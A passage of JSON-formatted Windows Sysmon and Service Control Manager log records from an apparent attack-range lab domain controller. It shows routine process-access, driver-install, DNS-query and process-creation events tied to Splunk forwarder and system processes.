C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.968","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3830,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.968\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.968","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3831,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.968\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.968","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3832,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.968\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4084-5F2D-0000-00104C8B0500}\r\nTargetProcessId: 2836\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.968","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4084-5F2D-0000-00104C8B0500}","TargetProcessId":"2836","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3833,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:37.109\r\nSourceProcessGUID: {90617006-4084-5F2D-0000-00104C8B0500}\r\nSourceProcessId: 2836\r\nSourceThreadId: 2864\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:37.109","SourceProcessGUID":"{90617006-4084-5F2D-0000-00104C8B0500}","SourceProcessId":"2836","SourceThreadId":"2864","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7045,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76841,"ProcessID":852,"ThreadID":1152,"Channel":"System","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"A service was installed in the system.\r\n\r\nService Name: npf\r\nService File Name: C:/Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\npf.sys\r\nService Type: kernel mode driver\r\nService Start Type: demand start\r\nService Account: ","ServiceName":"npf","ImagePath":"C:/Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\npf.sys","ServiceType":"kernel mode driver","StartType":"demand start","EventReceivedTime":"2020-08-07 11:52:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":3834,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:35.437\r\nProcessGuid: {90617006-4082-5F2D-0000-00106B700500}\r\nProcessId: 4932\r\nQueryName: win-dc-9849183\r\nQueryStatus: 0\r\nQueryResults: fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:52:35.437","ProcessGuid":"{90617006-4082-5F2D-0000-00106B700500}","QueryName":"win-dc-9849183","QueryStatus":"0","QueryResults":"fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;","Image":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3835,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:37.641\r\nProcessGuid: {90617006-4085-5F2D-0000-0010768D0500}\r\nProcessId: 4160\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Network monitor\r\nProduct: Splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-netmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:37.641","ProcessGuid":"{90617006-4085-5F2D-0000-0010768D0500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","FileVersion":"8.0.2","Description":"Network monitor","Product":"Splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-netmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3836,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:37.640\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4085-5F2D-0000-0010768D0500}\r\nTargetProcessId: 4160\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:37.640","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4085-5F2D-0000-0010768D0500}","TargetProcessId":"4160","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3837,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:37.640\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4085-5F2D-0000-0010768D0500}\r\nTargetProcessId: 4160\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:37.640","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4085-5F2D-0000-0010768D0500}","TargetProcessId":"4160","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3838,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:37.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 